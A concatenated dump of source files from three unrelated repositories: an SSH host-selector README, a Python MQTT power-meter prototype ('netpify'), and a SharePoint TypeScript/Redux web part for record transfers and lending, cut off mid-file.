`sshs` will show all hosts defined by their name in the `Host [name]` line of config. Select the desired host using the arrow keys and press enter to connect to that host. Note incorrect config files are not handled and only a simple parse of the `Host [name]` line is run and passed directly to `ssh`. Select `Cancel` to easily close the selector.
Add `sshs` to `$PATH` or create a symlink in either `/bin` or `/usr/bin` to use in any terminal e.g. `ln -s $(pwd)/sshs /bin/sshs`.
# Future extensions
- Command line argument to connect normally like ssh (use case is having a single short alias for ssh(s))
- Command line "search" argument to only list hosts with some match/substring to argument
|
f98685457e945020d79875f0c08410af4cc2d947
|
[
"Markdown",
"Shell"
] | 2
|
Shell
|
Coen-Townson/ssh-selector
|
8eb74ea9f116ada5ddde519753dc4b6be4e5c530
|
8f7244074c32cc5bd4f7f4ed912b39a5a8d8eede
|
refs/heads/master
|
<repo_name>joseamena/netpify<file_sep>/configuration.py
import os.path
import json
import logging
CONFIG_FILE_PATH = "netpify.conf"
DEFAULT_CONFIG = {
"location": "espol",
"name": "medidor1",
"id": 1234,
"mode": "single_phase",
"voltage_source_1": "L1",
"time_interval": 300
}
config = {}
def read():
global config
if not os.path.isfile(CONFIG_FILE_PATH):
logging.warning("config file '%s' not found, using default config", CONFIG_FILE_PATH)
config = DEFAULT_CONFIG
logging.debug("opening '%s'", CONFIG_FILE_PATH)
with open(CONFIG_FILE_PATH, "r") as f:
config = json.load(f)
def write(config_dict):
global config
config = config_dict
with open(CONFIG_FILE_PATH, "w") as write_file:
json.dump(config, write_file)<file_sep>/netpify_service.py
import paho.mqtt.client as mqtt
import json
BROKER_IP = "172.16.31.10"
BROKER_PORT = 1883
def on_publish(client, userdata, result):
print("data published: " + userdata)
def on_connect(client, userdata, flags, rc):
print("Connected with code: " + str(rc))
def on_message(client, userdata, msg):
print(msg.topic + " " + str(msg.payload))
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.on_publish = on_publish
client.connect(BROKER_IP, BROKER_PORT)
# client.loop_forever()
def send_data(data):
# data will be a dictionary, here we will just publish the data
# using MQTT
# for key, value in data.items():
# if isinstance(value, dict):
# send_data(value)
# else:
# pass
client.publish("espol/fiec/power_factor", json.dumps(data))
<file_sep>/main.py
import logging
import os
import argparse
import fcntl
import asyncio
import configuration
import data_capture
import netpify_service
LOG_FILE_PATH = 'netfipy.log'
PID_FILE = 'netpify.pid'
PIPE_PATH = '/tmp/netpify_pipe'
stop = False
parser = argparse.ArgumentParser(prog='IoTMeter')
parser.add_argument('--reload', action='store_true',
default=False,
dest='reload',
help='reload configuration',
required=False)
parser.add_argument('-xc', action='store',
dest='cmd',
help='Execute command')
parser.add_argument('--configurator', action='store_true',
default=False,
dest='configurator',
help='run configuration helper script',
required=False)
def reload():
pass
def execute_command(command):
wp = open(PIPE_PATH, 'w')
wp.write(command)
wp.close()
@asyncio.coroutine
def netpifier():
logging.info("Starting")
global stop
count = 0
while not stop:
time_interval = 1
if 'time_interval' in configuration.config:
time_interval = configuration.config['time_interval']
yield from asyncio.sleep(1)
count += 1
if count == time_interval:
data = data_capture.capture(100)
netpify_service.send_data(data)
count = 0
def event_handler():
global stop
while not stop:
fifo = open(PIPE_PATH, 'r')
data = fifo.read()
if data == "stop":
stop = True
print("read data %s" % data)
fifo.close()
print("exiting event handler")
@asyncio.coroutine
def read(loop):
yield from loop.run_in_executor(None, event_handler)
print("read done")
if __name__ == "__main__":
args = parser.parse_args()
logging.basicConfig(filename=LOG_FILE_PATH, level=logging.DEBUG)
print("Netpify")
if args.configurator:
exit(0)
if args.reload:
reload()
logging.info("Reloading configuration")
exit(0)
if args.cmd is not None:
logging.info("Executing command: %s", args.cmd)
execute_command(args.cmd)
exit(0)
fp = open(PID_FILE, 'w')
try:
fcntl.lockf(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
except IOError:
print("Another instance is running")
exit(-1)
path = PIPE_PATH
try:
os.mkfifo(path)
except OSError as e:
logging.warning("failed to create pipe: %s %s", path, e)
exit(0)
loop = asyncio.get_event_loop()
try:
loop.run_until_complete(
asyncio.wait([
netpifier(),
read(loop)
])
)
# yield from loop.run_in_executor(None, event_handler)
# loop.run_forever()
except KeyboardInterrupt:
logging.debug("keyboard interrupt")
finally:
logging.debug("terminating program")
loop.close()
<file_sep>/logger.py
import logging
LOG_PATH = "/var/log/netpify.log"
logging.basicConfig(filename=LOG_PATH, level=logging.DEBUG)<file_sep>/data_capture.py
import math
SAMPLE_RATE = 50000
def capture(sample_count):
v1 = [math.sin(2 * math.pi * 60 * n / SAMPLE_RATE) for n in range(50000)]
v2 = [math.sin((2 * math.pi * 60 * n / SAMPLE_RATE) + (2 * math.pi / 3)) for n in range(50000)]
v3 = [math.sin((2 * math.pi * 60 * n / SAMPLE_RATE) - (2 * math.pi / 3)) for n in range(50000)]
data = {
"phases": {
"V1": v1[:sample_count - 1],
"V2": v2[:sample_count - 1],
"V3": v3[:sample_count - 1],
"I1": [0] * sample_count,
"I2": [0] * sample_count,
"I3": [0] * sample_count,
}
}
return data<file_sep>/configurator.py
class Step:
def __init__(self, prompt, choices=None):
self.prompt = prompt
self.choices = choices
self.substeps = []
def select_option(self, choice):
if self.choices is None:
# For inputs that don't have choices
# input will not be a number
self.selected_choice = choice
return True
if choice < 0 or choice >= len(self.choices):
return False
self.selected_choice = self.choices[choice]
return True
configuration = {}
step1 = Step("Enter name: ")
step2 = Step("Enter location descripton: ")
steps = [step1, step2]
def configure():
for step in steps:
choice = input(step.prompt)<file_sep>/power_meter.py
import functools
import math
def calculate_rms(signal):
return math.sqrt(functools.reduce(lambda x,y: x + y, map(lambda x: x * x, signal)))
def calculate_power_factor(voltage, current):
voltage_rms = calculate_rms(voltage)
current_rms = calculate_rms(current)
apparent_power = voltage_rms * current_rms
power = functools.reduce(lambda x,y: x + y, [a * b for a,b in zip(voltage, current)])
return power / apparent_power
def calculate_total_harmonic_distortion(signal):
return []
|
8d078fd702cc6d8a88e3f6a85066368b44db26cc
|
[
"Python"
] | 7
|
Python
|
joseamena/netpify
|
b561bf688a79050a562faaa211756b23fd48a4c8
|
4218be81a5d700b0c908993dbfa4dd08535b4731
|
refs/heads/master
|
<repo_name>rangoPipe/webPart<file_sep>/src/redux/reducers/common/context.ts
import { createContext, changeConnection } from "../../actions/common/_actionName";
import { IContextProps } from "./IContextProps";
import { IAction } from "../../namespace";
const defaultState:IContextProps = {
http: undefined,
context: undefined,
connectionString: "",
resourceEndPointApi: "",
appTitle: "",
iconLoader: "",
identifier: "",
stylesheet: "",
headerImage: ""
};
export default function reducer(state = defaultState, { type, payload }:IAction):IContextProps {
switch(type) {
case createContext: {
return {
...state,
...payload
};
}
case changeConnection: {
return {
...state,
...payload
};
}
default:
return state;
}
}
<file_sep>/src/general/detailList/IDetailListGeneralProps.ts
import { IDetailListProps } from "../../redux/reducers/general/detailList/IDetailListProps";
import { ISelection } from "@uifabric/utilities";
export interface IDetailListGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente DetailList
*/
detailList?:IDetailListProps;
/**
* Propiedad para controlar el evento selection
*/
selection?:ISelection;
}<file_sep>/src/redux/reducers/general/messageBar/messageBar.ts
import { createMessageBar, hideMessageBar } from "../../../actions/general/messageBar/_actionName";
import { MessageBarType } from "office-ui-fabric-react";
import { IAction } from "../../../namespace";
import { IMessageBarProps } from "./IMessageBarProps";
const defaultState:IMessageBarProps = {
messageBarType: MessageBarType.info,
isMultiline: false,
onDismiss: undefined,
dismissButtonAriaLabel:"Close",
truncated: false,
overflowButtonAriaLabel:"See more",
value: undefined,
hideMessage: true
};
function reducer(state = defaultState, { type, payload }:IAction) : IMessageBarProps {
switch(type) {
case createMessageBar: {
return {
...state,
...payload
};
}
case hideMessageBar: {
return {
...state,
...payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/redux/reducers/general/tooltip/tooltip.ts
import { createTooltip } from "../../../actions/general/tooltip/_actionName";
import { IAction } from "../../../namespace";
import { ITooltipProps } from "./ITooltip";
const defaultState: ITooltipProps = {
content: "",
body: null
};
function reducer(state = defaultState, { type, payload }: IAction): ITooltipProps {
switch (type) {
case createTooltip: {
return {
...state,
...payload
};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/interface/model/record.ts
/**
* Model de la entidad expediente.
*/
export default interface IRecord {
idExpediente: number;
IdVersionTablaRetencionDocumental?: number;
IdSeccion?: number;
IdSubserie?: number;
IdUsuarioResponsable?: number;
NumeroExpediente?: string;
CodigoTablaRetencionDocumental?: string;
Nombre?: string;
idUbicacionExpediente?: number;
cerrado?: boolean;
idNivelSeguridad?: number;
idEstadoExpediente?: number;
heredarSeguridad?: boolean;
observaciones?: string;
codigoCargaMasiva?: string;
}<file_sep>/src/redux/reducers/general/detailList/IDetailListProps.ts
import { IDetailsListProps as IDetailsListPropsFabric, IShimmeredDetailsListProps } from "office-ui-fabric-react";
export interface IDetailListProps extends IShimmeredDetailsListProps {
/**
* Lleva registro de los items seleccionados
*/
selectedItems: any[];
}<file_sep>/src/components/transfer/components/owner/IOwnerProps.ts
export interface IOwnerState {
title?:string;
}
export interface IOwnerProps extends IOwnerState {
}
export interface IOwnerWebPartProps {}
export class ColumnRecordOwner {
public key: string;
public count?:string;
public nroExpediente?:string;
public name?:string;
public serie?:string;
public subserie?:string;
public endDate?:string;
}<file_sep>/src/redux/reducers/common/IContextProps.ts
import { HttpClient } from "@microsoft/sp-http";
import { WebPartContext } from "@microsoft/sp-webpart-base";
export interface IContextProps {
http? : HttpClient;
context? : WebPartContext;
connectionString?: string;
resourceEndPointApi?: string;
appTitle?: string;
iconLoader?: string;
identifier?: string;
stylesheet?: string;
headerImage?: string;
}<file_sep>/src/redux/reducers/general/spinner/spinner.ts
import { createSpinner } from "../../../actions/general/spinner/_actionName";
import { IAction } from "../../../namespace";
import { ISpinnerProps } from "./ISpinner";
const defaultState: ISpinnerProps = {
label: "Cargando..."
};
function reducer(state = defaultState, { type, payload }: IAction): ISpinnerProps {
switch (type) {
case createSpinner: {
return {
...state,
...payload
};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/redux/actions/general/dialog/_actionName.ts
export const acceptDialog:string = "acceptDialog";
export const cancelDialog:string = "cancelDialog";
export const createDialog:string = "createDialog";
export const hideDialog:string = "hideDialog";
export const showDialog:string = "showDialog";<file_sep>/src/redux/reducers/general/dropdown/IDropdownProps.ts
import { IDropdownProps as IDropdownPropsFabric } from "office-ui-fabric-react";
export interface IDropdownProps extends IDropdownPropsFabric {
}<file_sep>/src/redux/actions/general/choiceGroup/_actionName.ts
export const createChoiceGroup:string = "createChoiceGroup";
export const selectChoiceGroup:string = "selectChoiceGroup";<file_sep>/src/redux/actions/general/modal/_actionName.ts
export const createModal:string = "createModal";
export const createContent:string = "createContent";<file_sep>/src/components/transfer/components/archivist/pending/IPendingProps.ts
export interface IPendingState {
}
export interface IPendingProps extends IPendingState {
}
<file_sep>/src/enum/RecordState.ts
/**
* Estados para los expedientes en el proceso de transferencias.
*/
export enum RecordState {
EnGestion = 1,
ParaGestion = 2,
AprobadoParaAC = 3,
PospuestoParaAC = 4,
AprobadoEnAC = 5,
RechazadoEnAC = 6,
EnAC = 7,
ParaAc = 8
}<file_sep>/src/enum/archivist/archivistEnum.ts
/**
* Namespace para las instancias de los componentes, utilizados por Redux.
*/
export enum PendingNameSpace {
context = "contextPendingArchivist",
detailList = "detailListPendingArchivist",
textArea = "textAreaPendingArchivist",
messageBar = "messageBarPendingArchivist",
dialog = "dialogPendingArchivist",
commandBar = "commandBarPendingArchivist",
}
export enum ApprovedNameSpace {
context = "contextApprovedArchivist",
detailList = "detailListApprovedArchivist",
}
export enum RejectedNameSpace {
context = "contextRejectedArchivist",
detailList = "detailListRejectedArchivist",
}<file_sep>/src/components/transfer/components/archivist/approved/IApprovedProps.ts
export interface IApprovedState {
}
export interface IApprovedProps extends IApprovedState {
}
<file_sep>/src/redux/reducers/general/dialog/dialog.ts
import {
showDialog,
hideDialog,
createDialog
} from "../../../actions/general/dialog/_actionName";
import { DialogType } from "office-ui-fabric-react";
import { IAction } from "../../../namespace";
import { IDialogProps } from "./IDialogProps";
const defaultState: IDialogProps = {
hideDialog: true,
type: DialogType.largeHeader,
title: "Missing Subject",
subText: "Do you want to send this message without a subject?",
body: undefined,
footer: undefined
};
function reducer(state = defaultState, { type, payload }: IAction): IDialogProps {
switch (type) {
case showDialog: {
return {
...state,
hideDialog: payload
};
}
case hideDialog: {
return {
...state,
hideDialog: payload
};
}
case createDialog: {
return {
...state,
...payload
};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/redux/reducers/general/modal/modal.ts
import { createModal, createContent } from "../../../actions/general/modal/_actionName";
import { IAction } from "../../../namespace";
import { IModalProps } from "./IModalProps";
const defaultState:IModalProps = {
content:null,
header:null,
isOpen: false,
onDismiss : () => {}
};
function reducer(state = defaultState, { type, payload }:IAction) : IModalProps {
switch(type) {
case createModal: {
return {
...state,
...payload
};
}
case createContent: {
return {
...state,
content: payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/redux/actions/general/commandBar/_actionName.ts
export const createCommandBar:string = "createCommandBar";<file_sep>/src/redux/reducers/general/textField/ITextFieldProps.ts
import { ITextFieldProps as ITextFieldPropsFabric } from "office-ui-fabric-react";
export interface ITextFieldProps extends ITextFieldPropsFabric {
}<file_sep>/src/enum/owner/ownerEnum.ts
/**
* Namespace para las instancias de los componentes, utilizados por Redux.
*/
export enum OwnerNameSpace {
context = "contextOwner",
detailListOwner = "detailListOwner",
textAreaOwner = "textAreaOwner",
messageBarOwner = "messageBarOwner",
dialogOwner = "dialogOwner",
commandBarOwner = "commandBarOwner",
}
<file_sep>/src/redux/actions/general/tooltip/createTooltip.ts
import { createTooltip as type } from "./_actionName";
import { IAction } from "../../../namespace";
const createTooltip = (payload:any):IAction => {
return {
type,
payload
};
};
export default createTooltip;<file_sep>/src/general/dialog/IDialogGeneralProps.ts
import { IDialogProps } from "../../redux/reducers/general/dialog/IDialogProps";
export interface IDialogGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Dialog
*/
dialog?:IDialogProps;
}<file_sep>/src/general/messageBar/IMessageBarGeneralProps.ts
import { IMessageBarProps } from "../../redux/reducers/general/messageBar/IMessageBarProps";
export interface IMessageBarGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente MessageBar
*/
messageBar?:IMessageBarProps;
}<file_sep>/src/redux/reducers/general/choiceGroup/choiceGroup.ts
import { createChoiceGroup, selectChoiceGroup } from "../../../actions/general/choiceGroup/_actionName";
import { IAction } from "../../../namespace";
import { IChoiceGroupProps } from "./IChoiceGroupProps";
const defaultState:IChoiceGroupProps = {
defaultSelectedKey:"",
options:[],
optionSelected: undefined
};
function reducer(state = defaultState, { type, payload }:IAction) : IChoiceGroupProps {
switch(type) {
case createChoiceGroup: {
return {
...state,
...payload
};
}
case selectChoiceGroup: {
return {
...state,
optionSelected: payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/common/classes/baseService.ts
import * as React from 'react';
import { subspace } from "redux-subspace";
import { IIOIPStore } from "../../redux/namespace";
import { overlay as overlayNamespace } from "../../redux/namespace";
import { hideOverlay, createOverlay } from "../../redux/actions/general/overlay/_actionName";
import store from "../../redux/store";
import { SpinnerGeneral as Spinner } from "../../general/spinner";
export class BaseService {
/** @private */ private _namespaceContext: string;
/** @private */ private _overlayController = subspace( (state: IIOIPStore) => state.overlay, overlayNamespace)(store);
constructor(namespaceContext:string) {
this._namespaceContext = namespaceContext;
}
public async FetchPost(url:string, body:object = {}):Promise<any> {
this._overlayController.dispatch({ type: createOverlay, payload: {
hidden:false,
content: this._createLoader()
}});
const requestHeaders: Headers = new Headers();
requestHeaders.append('Content-type', 'application/json');
requestHeaders.append("Accept","application/json");
const requestInit:RequestInit = { method: 'POST', headers: requestHeaders, body: JSON.stringify(body) };
return await fetch(url, requestInit)
.then((_response) => {
this._overlayController.dispatch({ type: hideOverlay, payload: true});
return _response.json();
})
.catch(error => {
console.error('Error:', error);
this._overlayController.dispatch({ type: hideOverlay, payload: true});
});
}
private _createLoader(): React.ReactElement {
return React.createElement(Spinner, { spinner : { label : "Cargando..."} });
}
}<file_sep>/src/general/overlay/IOverlayGeneral.ts
import { IOverlayProps } from "../../redux/reducers/general/overlay/IOverlay";
export interface IOverlayGeneralState {
/**
* Propiedades del componente Overlay
*/
overlay?:IOverlayProps;
}
export interface IOverlayGeneralProps extends IOverlayGeneralState {
}<file_sep>/src/redux/actions/common/_actionName.ts
export const createContext:string = "createContext";
export const changeConnection:string = "changeConnection";<file_sep>/src/redux/reducers/general/button/IButtonProps.ts
import { IButtonProps as IButtonPropsFabric } from "office-ui-fabric-react";
export interface IButtonProps extends IButtonPropsFabric {
buttonStyle:ButtonStyle;
}
export enum ButtonStyle {
DefaultButton,
PrimaryButton,
IconButton,
ActionButton
}<file_sep>/src/redux/reducers/general/datePicker/IDatePickerProps.ts
import { IDatePickerProps as IDatePickerPropsFabric, IDatePickerStrings as Fabricstrings } from "office-ui-fabric-react";
export interface IDatePickerProps extends IDatePickerPropsFabric {
}
export interface IDatePickerStrings extends Fabricstrings {
placeholder:string;
}
export const languageEn:IDatePickerStrings = {
months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
shortMonths: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
shortDays: ['S', 'M', 'T', 'W', 'T', 'F', 'S'],
goToToday: 'Go to today',
prevMonthAriaLabel: 'Go to previous month',
nextMonthAriaLabel: 'Go to next month',
prevYearAriaLabel: 'Go to previous year',
nextYearAriaLabel: 'Go to next year',
closeButtonAriaLabel: 'Close date picker',
placeholder: 'Select a date...'
};
export const languageEs:IDatePickerStrings = {
months: ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'],
shortMonths: ['Ene', 'Feb', 'Mar', 'Abr', 'May', 'Jun', 'Jul', 'Ago', 'Sep', 'Oct', 'Nov', 'Dec'],
days: ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'],
shortDays: ['D', 'L', 'M', 'Mi', 'J', 'V', 'S'],
goToToday: 'Hoy',
prevMonthAriaLabel: 'Mes anterior',
nextMonthAriaLabel: 'Siguiente mes',
prevYearAriaLabel: 'Año anterior',
nextYearAriaLabel: 'Siguiente año',
closeButtonAriaLabel: 'Cerrar',
placeholder: 'Seleccione una fecha...'
};<file_sep>/src/general/modal/IModalGeneralProps.ts
import { IModalProps } from "../../redux/reducers/general/modal/IModalProps";
export interface IModalGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Modal
*/
modal?:IModalProps;
}<file_sep>/src/redux/actions/general/dropdown/_actionName.ts
export const createDropdown:string = "createDropdown";
export const loadOptions:string = "loadOptions";<file_sep>/src/enum/lending/lendingEnum.ts
/**
* Estados de los prestamos.
*/
export enum EnumEstadoPrestamo
{
Solicitado = 1,
Aprobado = 2,
Rechazado = 3,
Prestado = 4,
Cancelado = 5,
Devolver = 6,
Devuelto = 7,
Renovar = 8
}
/**
* Estados de los prestamos para los reportes.
*/
export enum EnumEstadoPrestamoReporte
{
Solicitud_enviada = 1,
Solicitud_recibida = 2,
Aceptado = 3,
Rechazado = 4,
Prestamo = 5,
Devolucion = 6
}
/**
* Namespace para las instancias de los componentes, utilizados por Redux.
*/
export enum SearchNameSpace {
context = "contextSearch",
detailListSearch = "detailListSearch",
dropDownSectionSearch = "dropDownSectionSearch",
dropDownSubsectionSearch = "dropDownSubsectionSearch",
dropDownSerieSearch = "dropDownSerieSearch",
dropDownSubserieSearch = "dropDownSubserieSearch",
buttonSearchSearch = "buttonSearchSearch",
buttonCancelSearch = "buttonCancelSearch",
buttonLendSearch = "buttonLendSearch",
modalSearch = "modalSearch",
textAreaSearch = "textAreaSearch",
messageBarSearch = "messageBarSearch",
}
export enum SendedNameSpace {
context = "contextSended",
detailListSended = "detailListSended",
commandBarSended = "commandBarSended",
modalSended = "modalSended",
dialogSended = "dialogSended",
txtFilterDtlSended = "txtFilterDtlSended",
}
export enum ReceivedNameSpace {
context = "contextReceived",
detailListReceived = "detailListReceived",
commandBarReceived = "commandBarReceived",
modalReceived = "modalReceived",
textAreaReceived = "textAreaReceived",
messageBarReceived = "messageBarReceived",
choiceGroupReceived = "choiceGroupReceived",
btnLeadReceived = "btnLeadReceived",
txtFilterDtlReceived = "txtFilterDtlReceived"
}
export enum LendingNameSpace {
context = "contextLending",
detailListLending = "detailListLending",
commandBarLending = "commandBarLending",
dialogLending = "dialogLending",
modalLending = "modalLending",
textAreaLending = "textAreaLending",
messageBarLending = "messageBarLending",
txtFilterDtlLending = "txtFilterDtlLending"
}
export enum PaybackNameSpace {
context = "contextPayback",
detailListPayback = "detailListPayback",
commandBarPayback = "commandBarPayback",
dialogPayback = "dialogPayback",
txtFilterDtlPayback = "txtFilterDtlPayback"
}
export enum ReportNameSpace {
context = "contextReport",
detailListReport = "detailListReport",
buttonSearchReport = "buttonSearchReport",
buttonCancelReport = "buttonCancelReport",
datePickerStartReport = "datePickerStartReport",
datePickerEndReport = "datePickerEndReport",
chkSendedReport = "chkSendedReport",
chkRequestReport = "chkRequestReport",
chkAcceptedReport = "chkAcceptedReport",
chkRejectedReport = "chkRejectedReport",
chkLendedReport = "chkLendedReport",
chkPaybackReport = "chkPaybackReport",
txtFilterDtlReport = "txtFilterDtlReport",
commandBarReport = "commandBarReport",
modalReport = "modalReport",
}<file_sep>/src/redux/namespace.ts
import { IDetailListProps } from "./reducers/general/detailList/IDetailListProps";
import { IDialogProps } from "./reducers/general/dialog/IDialogProps";
import { ITextFieldProps } from "./reducers/general/textField/ITextFieldProps";
import { IMessageBarProps } from "./reducers/general/messageBar/IMessageBarProps";
import { IContextProps } from "./reducers/common/IContextProps";
import { ICommandBarProps } from "./reducers/general/commandBar/ICommandBarProps";
import { IButtonProps } from "./reducers/general/button/IButtonProps";
import { IChoiceGroupProps } from "./reducers/general/choiceGroup/IChoiceGroupProps";
import { IDropdownProps } from "./reducers/general/dropdown/IDropdownProps";
import { IModalProps } from "./reducers/general/modal/IModalProps";
import { IDatePickerProps } from "./reducers/general/datePicker/IDatePickerProps";
import { ICheckboxProps } from "./reducers/general/checkbox/ICheckboxProps";
import { ITooltipProps } from "./reducers/general/tooltip/ITooltip";
import { IOverlayProps } from "./reducers/general/overlay/IOverlay";
import { ISpinnerProps } from "./reducers/general/spinner/ISpinner";
export const contextNs:string = "context";
export const detailListNs:string = "detailList";
export const detailList2Ns:string = "detailList2";
export const detailList3Ns:string = "detailList3";
export const detailList4Ns:string = "detailList4";
export const dialogNs:string = "dialog";
export const textFieldNs:string = "textField";
export const messageBarNs:string = "messageBar";
export const commandBarNs:string = "commandBar";
export const buttonNS:string = "buttonNS";
export const choiceGroupNS:string = "choiceGroupNS";
export const dropdownNS:string = "dropdownNS";
export const modalNS:string = "modalNs";
export const overlay:string = "overlayGeneral";
export const spinner:string = "spinnerGeneral";
export interface IIOIPStoreGeneral {
/**
* Almacena componentes globales
*/
context:IContextProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de DetailList de UiFabric
*/
detailList:IDetailListProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de Dialog de UiFabric
*/
dialog:IDialogProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de TextField de UiFabric
*/
textField:ITextFieldProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de MessageBar de UiFabric
*/
messageBar:IMessageBarProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de CommandBar de UiFabric
*/
commandBar:ICommandBarProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de button de UiFabric
*/
button:IButtonProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de choiceGroup de UiFabric
*/
choiceGroup:IChoiceGroupProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de dropdown de UiFabric
*/
dropdown:IDropdownProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de modal de UiFabric
*/
modal:IModalProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de datePicker de UiFabric
*/
datePicker:IDatePickerProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de checkbox de UiFabric
*/
checkbox:ICheckboxProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de tooltip de UiFabric
*/
tooltip:ITooltipProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de overlay de UiFabric
*/
overlay:IOverlayProps;
/**
* Almacena las propiedades nativas y genericas para el componente general de spinner de UiFabric
*/
spinner:ISpinnerProps;
}
export interface IIOIPStore extends IIOIPStoreGeneral {
//Owner
contextOwner: IContextProps;
detailListOwner: IDetailListProps;
dialogOwner: IDialogProps;
textAreaOwner: ITextFieldProps;
messageBarOwner: IMessageBarProps;
commandBarOwner: ICommandBarProps;
//Archivist - Pending
contextPendingArchivist: IContextProps;
detailListPendingArchivist:IDetailListProps;
dialogPendingArchivist: IDialogProps;
textAreaPendingArchivist: ITextFieldProps;
messageBarPendingArchivist:IMessageBarProps;
commandBarPendingArchivist:ICommandBarProps;
//Archivist - Approved
contextApprovedArchivist: IContextProps;
detailListApprovedArchivist:IDetailListProps;
//Archivist - Rejected
contextRejectedArchivist: IContextProps;
detailListRejectedArchivist:IDetailListProps;
//Lending - Search
contextSearch: IContextProps;
detailListSearch: IDetailListProps;
dropDownSectionSearch: IDropdownProps;
dropDownSubsectionSearch: IDropdownProps;
dropDownSerieSearch: IDropdownProps;
dropDownSubserieSearch: IDropdownProps;
buttonSearchSearch: IButtonProps;
buttonLendSearch: IButtonProps;
buttonCancelSearch: IButtonProps;
modalSearch: IModalProps;
textAreaSearch: ITextFieldProps;
messageBarSearch: IMessageBarProps;
//Lending - Sended
contextSended: IContextProps;
detailListSended: IDetailListProps;
commandBarSended: ICommandBarProps;
modalSended: IModalProps;
dialogSended: IDialogProps;
txtFilterDtlSended: ITextFieldProps;
//Lending - Received
contextReceived: IContextProps;
detailListReceived: IDetailListProps;
commandBarReceived: ICommandBarProps;
modalReceived: IModalProps;
textAreaReceived: ITextFieldProps;
messageBarReceived: IMessageBarProps;
choiceGroupReceived: IChoiceGroupProps;
btnLeadReceived: IButtonProps;
txtFilterDtlReceived: ITextFieldProps;
//Lending - Lending
contextLending: IContextProps;
detailListLending: IDetailListProps;
commandBarLending: ICommandBarProps;
dialogLending: IDialogProps;
modalLending: IModalProps;
textAreaLending: ITextFieldProps;
messageBarLending: IMessageBarProps;
txtFilterDtlLending: ITextFieldProps;
//Lending - Payback
contextPayback: IContextProps;
detailListPayback: IDetailListProps;
commandBarPayback: ICommandBarProps;
dialogPayback: IDialogProps;
txtFilterDtlPayback: ITextFieldProps;
//Lending - Report
contextReport: IContextProps;
detailListReport: IDetailListProps;
buttonSearchReport: IButtonProps;
buttonCancelReport: IButtonProps;
datePickerStartReport: IDatePickerProps;
datePickerEndReport: IDatePickerProps;
chkSendedReport: ICheckboxProps;
chkRequestReport: ICheckboxProps;
chkAcceptedReport: ICheckboxProps;
chkRejectedReport: ICheckboxProps;
chkLendedReport: ICheckboxProps;
chkPaybackReport: ICheckboxProps;
commandBarReport: ICommandBarProps;
txtFilterDtlReport: ITextFieldProps;
modalReport: IModalProps;
}
export interface IAction {
/**
* Almacena el nombre de la accion
*/
type:string;
/**
* Suministra el valor a tratar por el reducer
*/
payload?:any;
}<file_sep>/src/components/lending/components/search/ISearchProps.ts
import { IChoiceGroupProps } from "../../../../redux/reducers/general/choiceGroup/IChoiceGroupProps";
import { ITextFieldProps } from "../../../../redux/reducers/general/textField/ITextFieldProps";
export interface ISearchState {
sectionVisible?:SectionVisibleEnum;
resultVisible?:boolean;
modalVisible?:boolean;
noRecord?:string;
titleRecord?:string;
noFiled?:string;
subjectFiled?:string;
noTypeDocumental?:string;
titleTypeDocumental?:string;
}
export interface ISearchProps extends ISearchState {
choiceGroup?:IChoiceGroupProps;
textField?: ITextFieldProps[];
}
export enum SectionVisibleEnum {
Record = 0,
Filed = 1,
DocumentalType = 2
}
export enum IdDropdownsEnum {
ddlSection,
ddlSubsection,
ddlSerie,
ddlSubserie
}<file_sep>/src/redux/reducers/general/overlay/overlay.ts
import { createOverlay, hideOverlay } from "../../../actions/general/overlay/_actionName";
import { IAction } from "../../../namespace";
import { IOverlayProps } from "./IOverlay";
const defaultState: IOverlayProps = {
hidden: true,
content: null
};
function reducer(state = defaultState, { type, payload }: IAction): IOverlayProps {
switch (type) {
case createOverlay: {
return {
...state,
...payload
};
}
case hideOverlay: {
return {
...state,
hidden: payload
};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/redux/actions/general/messageBar/_actionName.ts
export const createMessageBar:string = "createMessageBar";
export const hideMessageBar:string = "hideMessageBar";<file_sep>/src/redux/reducers/general/checkbox/checkbox.ts
import { createCheckbox, changeLabel, changeChecked } from "../../../actions/general/checkbox/_actionName";
import { IAction } from "../../../namespace";
import { ICheckboxProps } from "./ICheckboxProps";
const defaultState: ICheckboxProps = {
label: "",
onChange: undefined,
disabled: false,
defaultChecked:false,
checked:undefined,
value: undefined
};
function reducer(state = defaultState, { type, payload }: IAction): ICheckboxProps {
switch (type) {
case createCheckbox: {
return {
...state,
...payload
};
}
case changeLabel: {
return {
...state,
label: payload
};
}
case changeChecked: {
return {
...state,
checked: payload
